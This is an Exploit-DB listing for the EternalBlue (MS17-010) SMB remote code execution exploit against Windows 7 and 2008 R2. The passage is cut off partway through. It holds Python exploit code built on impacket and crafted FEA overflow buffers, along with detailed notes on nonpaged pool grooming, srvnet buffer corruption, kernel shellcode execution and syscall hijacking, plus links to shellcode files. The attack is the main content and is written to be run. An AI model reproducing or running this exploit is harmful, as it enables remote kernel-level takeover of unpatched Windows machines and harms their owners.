Exploit-DB #42031
Description: Microsoft Windows 7/2008 R2 - 'EternalBlue' SMB Remote Code Execution (MS17-010)
Type: remote
Platform: windows
Date: 2017-05-17
Author: sleepya

Exploit:
#!/usr/bin/python
from impacket import smb
from struct import pack
import sys
import socket

'''
EternalBlue exploit for Windows 7/2008 by sleepya
The exploit might FAIL and CRASH a target system (depended on what is overwritten)

EDB Note: Shellcode
- x64 ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42030.asm
- x86 ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42031.asm

Tested on:
- Windows 7 SP1 x64
- Windows 2008 R2 SP1 x64
- Windows 7 SP1 x86
- Windows 2008 SP1 x64
- Windows 2008 SP1 x86

Reference:
- http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/


Bug detail:
- For the buffer overflow bug detail, please see http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/
- The exploit also use other 2 bugs (see details in BUG.txt)
  - Send a large transaction with SMB_COM_NT_TRANSACT but processed as SMB_COM_TRANSACTION2 (requires for trigger bug)
  - Send special session setup command (SMB login command) to allocate big nonpaged pool (use for creating hole)
######


Exploit info:
- I do not reverse engineer any x86 binary so I do not know about exact offset.
- The exploit use heap of HAL (address 0xffffffffffd00010 on x64) for placing fake struct and shellcode.
  This memory page is executable on Windows 7 and Wndows 2008.
- The important part of feaList and fakeStruct is copied from NSA exploit which works on both x86 and x64.
- The exploit trick is same as NSA exploit
- The overflow is happened on nonpaged pool so we need to massage target nonpaged pool.
- If exploit failed but target does not crash, try increasing 'numGroomConn' value (at least 5)
- See the code and comment for exploit detail.


srvnet buffer info:
- srvnet buffer contains a pointer to another struct and MDL about received buffer
  - Controlling MDL values results in arbitrary write
  - Controlling pointer to fake struct results in code execution because there is pointer to function
- A srvnet buffer is created after target receiving first 4 bytes
  - First 4 bytes contains length of SMB message
  - The possible srvnet buffer size is "..., 0x9000, 0x11000, 0x21000, ...". srvnet.sys will select the size that big enough.
- After receiving whole SMB message or connection lost, server call SrvNetWskReceiveComplete() to handle SMB message
- SrvNetWskReceiveComplete() check and set some value then pass SMB message to SrvNetCommonReceiveHandler()
- SrvNetCommonReceiveHandler() passes SMB message to SMB handler
  - If a pointer in srvnet buffer is modified to fake struct, we can make SrvNetCommonReceiveHandler() call our shellcode
  - If SrvNetCommonReceiveHandler() call our shellcode, no SMB handler is called
  - Normally, SMB handler free the srvnet buffer when done but our shellcode dose not. So memory leak happen.
  - Memory leak is ok to be ignored


Shellcode note:
- Shellcode is executed in kernel mode (ring 0) and IRQL is DISPATCH_LEVEL
- Hijacking system call is common method for getting code execution in Process context (IRQL is PASSIVE_LEVEL)
  - On Windows x64, System call target address can be modified by writing to IA32_LSTAR MSR (0xc0000082)
  - IA32_LSTAR MSR scope is core/thread/unique depended on CPU model
  - On idle target with multiple core processors, the hijacked system call might take a while (> 5 minutes) to 
      get call because it is called on other processors
  - Shellcode should be aware of double overwriting system call target address when using hijacking system call method
- Then, using APC in Process context to get code execution in userland (ring 3)

#E-DB Note: https://gist.github.com/worawit/bd04bad3cd231474763b873df081c09a
#E-DB Note: https://github.com/worawit/MS17-010/blob/eafb47d715fe38045c9ea6dc4cb75ca0ef5487ce/eternalblue_exploit7.py
'''

# Note: see how to craft FEALIST in eternalblue_poc.py

# wanted overflown buffer size (this exploit support only 0x10000 and 0x11000)
# the size 0x10000 is easier to debug when setting breakpoint in SrvOs2FeaToNt() because it is called only 2 time
# the size 0x11000 is used in nsa exploit. this size is more reliable.
NTFEA_SIZE = 0x11000
# the NTFEA_SIZE above is page size. We need to use most of last page preventing any data at the end of last page

ntfea10000 = pack('<BBH', 0, 0, 0xffdd) + 'A'*0xffde

ntfea11000 = (pack('<BBH', 0, 0, 0) + '\x00')*600  # with these fea, ntfea size is 0x1c20
ntfea11000 += pack('<BBH', 0, 0, 0xf3bd) + 'A'*0xf3be  # 0x10fe8 - 0x1c20 - 0xc = 0xf3bc

ntfea1f000 = (pack('<BBH', 0, 0, 0) + '\x00')*0x2494  # with these fea, ntfea size is 0x1b6f0
ntfea1f000 += pack('<BBH', 0, 0, 0x48ed) + 'A'*0x48ee  # 0x1ffe8 - 0x1b6f0 - 0xc = 0x48ec

ntfea = { 0x10000 : ntfea10000, 0x11000 : ntfea11000 }

'''
Reverse from srvnet.sys (Win7 x64)
- SrvNetAllocateNonPagedBufferInternal() and SrvNetWskReceiveComplete():

// for x64
struct SRVNET_BUFFER {
	// offset from POOLHDR: 0x10
	USHORT flag;
	char pad[2];
	char unknown0[12];
	// offset from SRVNET_POOLHDR: 0x20
	LIST_ENTRY list;
	// offset from SRVNET_POOLHDR: 0x30
	char *pnetBuffer;
	DWORD netbufSize;  // size of netBuffer
	DWORD ioStatusInfo;  // copy value of IRP.IOStatus.Information
	// offset from SRVNET_POOLHDR: 0x40
	MDL *pMdl1; // at offset 0x70
	DWORD nByteProcessed;
	DWORD pad3;
	// offset from SRVNET_POOLHDR: 0x50
	DWORD nbssSize;  // size of this smb packet (from user)
	DWORD pad4;
	QWORD pSrvNetWskStruct;  // want to change to fake struct address
	// offset from SRVNET_POOLHDR: 0x60
	MDL *pMdl2;
	QWORD unknown5;
	// offset from SRVNET_POOLHDR: 0x70
	// MDL mdl1;  // for this srvnetBuffer (so its pointer is srvnetBuffer address)
	// MDL mdl2;
	// char transportHeader[0x50];  // 0x50 is TRANSPORT_HEADER_SIZE
	// char netBuffer[0];
};

struct SRVNET_POOLHDR {
	DWORD size;
	char unknown[12];
	SRVNET_BUFFER hdr;
};
'''
# Most field in overwritten (corrupted) s